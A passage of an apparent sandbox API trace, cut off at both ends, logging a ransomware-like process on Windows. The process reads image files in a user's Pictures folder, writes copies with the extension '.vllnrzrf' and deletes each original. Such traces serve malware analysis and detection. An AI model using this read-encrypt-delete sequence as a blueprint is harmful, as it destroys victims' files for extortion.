lpFindFileData=0x1c0ae1d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.405] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0116.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae430) returned 1 [0116.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae3f0) returned 1 [0116.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg", lpFilePart=0x0) returned 0x3a [0116.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg", lpFilePart=0x0) returned 0x3a [0116.408] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg", lpFilePart=0x0) returned 0x3a [0116.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae3d0) returned 1 [0116.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dny-t4tki-9qc2m.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x31c [0116.408] GetFileType (hFile=0x31c) returned 0x1 [0116.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae340) returned 1 [0116.408] GetFileType (hFile=0x31c) returned 0x1 [0116.408] GetFileSize (in: hFile=0x31c, lpFileSizeHigh=0x1c0ae568 | out: lpFileSizeHigh=0x1c0ae568*=0x0) returned 0x4cb5 [0116.408] ReadFile (in: hFile=0x31c, lpBuffer=0x2248878, nNumberOfBytesToRead=0x4cb5, lpNumberOfBytesRead=0x1c0ae498, lpOverlapped=0x0 | out: lpBuffer=0x2248878*, lpNumberOfBytesRead=0x1c0ae498*=0x4cb5, lpOverlapped=0x0) returned 1 [0116.409] CloseHandle (hObject=0x31c) returned 1 [0116.419] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg.vllnrzrf", lpFilePart=0x0) returned 0x43 [0116.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae3d0) returned 1 [0116.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dny-t4tki-9qc2m.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x31c [0116.420] GetFileType (hFile=0x31c) returned 0x1 [0116.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae340) returned 1 [0116.420] GetFileType (hFile=0x31c) returned 0x1 [0116.420] WriteFile (in: hFile=0x31c, lpBuffer=0x226f0e8*, nNumberOfBytesToWrite=0x4eb5, lpNumberOfBytesWritten=0x1c0ae4f8, lpOverlapped=0x0 | out: lpBuffer=0x226f0e8*, lpNumberOfBytesWritten=0x1c0ae4f8*=0x4eb5, lpOverlapped=0x0) returned 1 [0116.422] CloseHandle (hObject=0x31c) returned 1 [0116.634] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg", lpFilePart=0x0) returned 0x3a [0116.634] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg", nBufferLength=0x105, lpBuffer=0x1c0ae090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg", lpFilePart=0x0) returned 0x3a [0116.634] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DNy-t4tki-9qC2M.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dny-t4tki-9qc2m.jpg")) returned 1 [0116.637] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp", lpFilePart=0x0) returned 0x3a [0116.637] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp", lpFilePart=0x0) returned 0x3a [0116.637] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp", lpFilePart=0x0) returned 0x3a [0116.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae3d0) returned 1 [0116.637] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\upuss1lyns0aokc.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x31c [0116.638] GetFileType (hFile=0x31c) returned 0x1 [0116.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae340) returned 1 [0116.638] GetFileType (hFile=0x31c) returned 0x1 [0116.638] GetFileSize (in: hFile=0x31c, lpFileSizeHigh=0x1c0ae568 | out: lpFileSizeHigh=0x1c0ae568*=0x0) returned 0xa279 [0116.638] ReadFile (in: hFile=0x31c, lpBuffer=0x2274c88, nNumberOfBytesToRead=0xa279, lpNumberOfBytesRead=0x1c0ae498, lpOverlapped=0x0 | out: lpBuffer=0x2274c88*, lpNumberOfBytesRead=0x1c0ae498*=0xa279, lpOverlapped=0x0) returned 1 [0116.639] CloseHandle (hObject=0x31c) returned 1 [0116.646] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp.vllnrzrf", lpFilePart=0x0) returned 0x43 [0116.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae3d0) returned 1 [0116.647] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\upuss1lyns0aokc.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x31c [0116.647] GetFileType (hFile=0x31c) returned 0x1 [0116.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae340) returned 1 [0116.647] GetFileType (hFile=0x31c) returned 0x1 [0116.647] WriteFile (in: hFile=0x31c, lpBuffer=0x22c2d78*, nNumberOfBytesToWrite=0xa479, lpNumberOfBytesWritten=0x1c0ae4f8, lpOverlapped=0x0 | out: lpBuffer=0x22c2d78*, lpNumberOfBytesWritten=0x1c0ae4f8*=0xa479, lpOverlapped=0x0) returned 1 [0116.649] CloseHandle (hObject=0x31c) returned 1 [0116.650] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp", lpFilePart=0x0) returned 0x3a [0116.651] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp", nBufferLength=0x105, lpBuffer=0x1c0ae090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp", lpFilePart=0x0) returned 0x3a [0116.651] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UPUSS1LYnS0AOKc.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\upuss1lyns0aokc.bmp")) returned 1 [0116.654] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png", lpFilePart=0x0) returned 0x33 [0116.654] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png", lpFilePart=0x0) returned 0x33 [0116.654] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png", lpFilePart=0x0) returned 0x33 [0116.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae3d0) returned 1 [0116.654] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_-q-spx3.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x31c [0116.654] GetFileType (hFile=0x31c) returned 0x1 [0116.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae340) returned 1 [0116.654] GetFileType (hFile=0x31c) returned 0x1 [0116.654] GetFileSize (in: hFile=0x31c, lpFileSizeHigh=0x1c0ae568 | out: lpFileSizeHigh=0x1c0ae568*=0x0) returned 0xde96 [0116.654] ReadFile (in: hFile=0x31c, lpBuffer=0x22cddf0, nNumberOfBytesToRead=0xde96, lpNumberOfBytesRead=0x1c0ae498, lpOverlapped=0x0 | out: lpBuffer=0x22cddf0*, lpNumberOfBytesRead=0x1c0ae498*=0xde96, lpOverlapped=0x0) returned 1 [0116.655] CloseHandle (hObject=0x31c) returned 1 [0116.664] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png.vllnrzrf", lpFilePart=0x0) returned 0x3c [0116.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae3d0) returned 1 [0116.664] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_-q-spx3.png.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x31c [0116.664] GetFileType (hFile=0x31c) returned 0x1 [0116.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae340) returned 1 [0116.664] GetFileType (hFile=0x31c) returned 0x1 [0116.664] WriteFile (in: hFile=0x31c, lpBuffer=0x231bda8*, nNumberOfBytesToWrite=0xe096, lpNumberOfBytesWritten=0x1c0ae4f8, lpOverlapped=0x0 | out: lpBuffer=0x231bda8*, lpNumberOfBytesWritten=0x1c0ae4f8*=0xe096, lpOverlapped=0x0) returned 1 [0116.666] CloseHandle (hObject=0x31c) returned 1 [0116.667] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png", nBufferLength=0x105, lpBuffer=0x1c0adef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png", lpFilePart=0x0) returned 0x33 [0116.668] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png", nBufferLength=0x105, lpBuffer=0x1c0ae090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png", lpFilePart=0x0) returned 0x33 [0116.668] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_-Q-Spx3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_-q-spx3.png")) returned 1 [0116.671] CoUninitialize () Thread: id = 94 os_tid = 0x8d4 [0116.676] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0116.677] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1c91df40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0116.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91e3a0) returned 1 [0116.677] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", nBufferLength=0x105, lpBuffer=0x1c91de90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g", lpFilePart=0x0) returned 0x34 [0116.677] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\", nBufferLength=0x105, lpBuffer=0x1c91de30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\", lpFilePart=0x0) returned 0x35 [0116.677] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\*.*", lpFindFileData=0x1c91e040 | out: lpFindFileData=0x1c91e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x65bbbae0, ftCreationTime.dwHighDateTime=0x1d5e013, ftLastAccessTime.dwLowDateTime=0x2274b80, ftLastAccessTime.dwHighDateTime=0x1d5d7c0, ftLastWriteTime.dwLowDateTime=0x2274b80, ftLastWriteTime.dwHighDateTime=0x1d5d7c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0116.677] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91e090 | out: lpFindFileData=0x1c91e090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x65bbbae0, ftCreationTime.dwHighDateTime=0x1d5e013, ftLastAccessTime.dwLowDateTime=0x2274b80, ftLastAccessTime.dwHighDateTime=0x1d5d7c0, ftLastWriteTime.dwLowDateTime=0x2274b80, ftLastWriteTime.dwHighDateTime=0x1d5d7c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.677] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91e090 | out: lpFindFileData=0x1c91e090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655bfee0, ftCreationTime.dwHighDateTime=0x1d5e359, ftLastAccessTime.dwLowDateTime=0x9b4b2d40, ftLastAccessTime.dwHighDateTime=0x1d5d856, ftLastWriteTime.dwLowDateTime=0x9b4b2d40, ftLastWriteTime.dwHighDateTime=0x1d5d856, nFileSizeHigh=0x0, nFileSizeLow=0x18956, dwReserved0=0x0, dwReserved1=0x0, cFileName="42R5OCquJG1Jxn.bmp", cAlternateFileName="42R5OC~1.BMP")) returned 1 [0116.677] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91e090 | out: lpFindFileData=0x1c91e090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb70e4a0, ftCreationTime.dwHighDateTime=0x1d5de24, ftLastAccessTime.dwLowDateTime=0xb5184fc0, ftLastAccessTime.dwHighDateTime=0x1d5e317, ftLastWriteTime.dwLowDateTime=0xb5184fc0, ftLastWriteTime.dwHighDateTime=0x1d5e317, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BdVttKpMp.gif", cAlternateFileName="BDVTTK~1.GIF")) returned 1 [0116.678] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91e090 | out: lpFindFileData=0x1c91e090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3f4a50, ftCreationTime.dwHighDateTime=0x1d5e68a, ftLastAccessTime.dwLowDateTime=0x5a2593e0, ftLastAccessTime.dwHighDateTime=0x1d5e33d, ftLastWriteTime.dwLowDateTime=0x5a2593e0, ftLastWriteTime.dwHighDateTime=0x1d5e33d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cl8ruLeBO.bmp", cAlternateFileName="CL8RUL~1.BMP")) returned 1 [0116.678] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91e090 | out: lpFindFileData=0x1c91e090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf765b210, ftCreationTime.dwHighDateTime=0x1d5e5eb, ftLastAccessTime.dwLowDateTime=0xb45fddc0, ftLastAccessTime.dwHighDateTime=0x1d5e0bd, ftLastWriteTime.dwLowDateTime=0xb45fddc0, ftLastWriteTime.dwHighDateTime=0x1d5e0bd, nFileSizeHigh=0x0, nFileSizeLow=0x1960, dwReserved0=0x0, dwReserved1=0x0, cFileName="psBO-d2Ns.bmp", cAlternateFileName="PSBO-D~1.BMP")) returned 1 [0116.678] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91e090 | out: lpFindFileData=0x1c91e090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8af3ca20, ftCreationTime.dwHighDateTime=0x1d5ddf0, ftLastAccessTime.dwLowDateTime=0xbe1c0f10, ftLastAccessTime.dwHighDateTime=0x1d5d879, ftLastWriteTime.dwLowDateTime=0xbe1c0f10, ftLastWriteTime.dwHighDateTime=0x1d5d879, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZtSB9bTVG_g-G.gif", cAlternateFileName="ZTSB9B~1.GIF")) returned 1 [0116.678] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91e090 | out: lpFindFileData=0x1c91e090*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.678] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0116.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91e2f0) returned 1 [0116.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91e2b0) returned 1 [0116.679] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp", lpFilePart=0x0) returned 0x47 [0116.679] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp", lpFilePart=0x0) returned 0x47 [0116.679] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp", lpFilePart=0x0) returned 0x47 [0116.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91e290) returned 1 [0116.679] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\42r5ocqujg1jxn.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4fc [0116.679] GetFileType (hFile=0x4fc) returned 0x1 [0116.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91e200) returned 1 [0116.680] GetFileType (hFile=0x4fc) returned 0x1 [0116.680] GetFileSize (in: hFile=0x4fc, lpFileSizeHigh=0x1c91e428 | out: lpFileSizeHigh=0x1c91e428*=0x0) returned 0x18956 [0116.680] ReadFile (in: hFile=0x4fc, lpBuffer=0x122013a0, nNumberOfBytesToRead=0x18956, lpNumberOfBytesRead=0x1c91e358, lpOverlapped=0x0 | out: lpBuffer=0x122013a0*, lpNumberOfBytesRead=0x1c91e358*=0x18956, lpOverlapped=0x0) returned 1 [0116.681] CloseHandle (hObject=0x4fc) returned 1 [0116.845] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp.vllnrzrf", lpFilePart=0x0) returned 0x50 [0116.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91e290) returned 1 [0116.845] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\42r5ocqujg1jxn.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4fc [0116.846] GetFileType (hFile=0x4fc) returned 0x1 [0116.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91e200) returned 1 [0116.846] GetFileType (hFile=0x4fc) returned 0x1 [0116.846] WriteFile (in: hFile=0x4fc, lpBuffer=0x122d28d0*, nNumberOfBytesToWrite=0x18b56, lpNumberOfBytesWritten=0x1c91e3b8, lpOverlapped=0x0 | out: lpBuffer=0x122d28d0*, lpNumberOfBytesWritten=0x1c91e3b8*=0x18b56, lpOverlapped=0x0) returned 1 [0116.848] CloseHandle (hObject=0x4fc) returned 1 [0116.850] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp", lpFilePart=0x0) returned 0x47 [0116.850] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp", nBufferLength=0x105, lpBuffer=0x1c91df50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp", lpFilePart=0x0) returned 0x47 [0116.850] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\42R5OCquJG1Jxn.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drvzvysnppq3g\\42r5ocqujg1jxn.bmp")) returned 1 [0116.855] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif", lpFilePart=0x0) returned 0x42 [0116.855] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif", lpFilePart=0x0) returned 0x42 [0116.855] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif", nBufferLength=0x105, lpBuffer=0x1c91ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif", lpFilePart=0x0) returned 0x42 [0116.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91e290) returned 1 [0116.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRvZVYSnppQ3g\\BdVttKpMp.gif" (normalized: "c:\\users\\5p5nrgjn0js 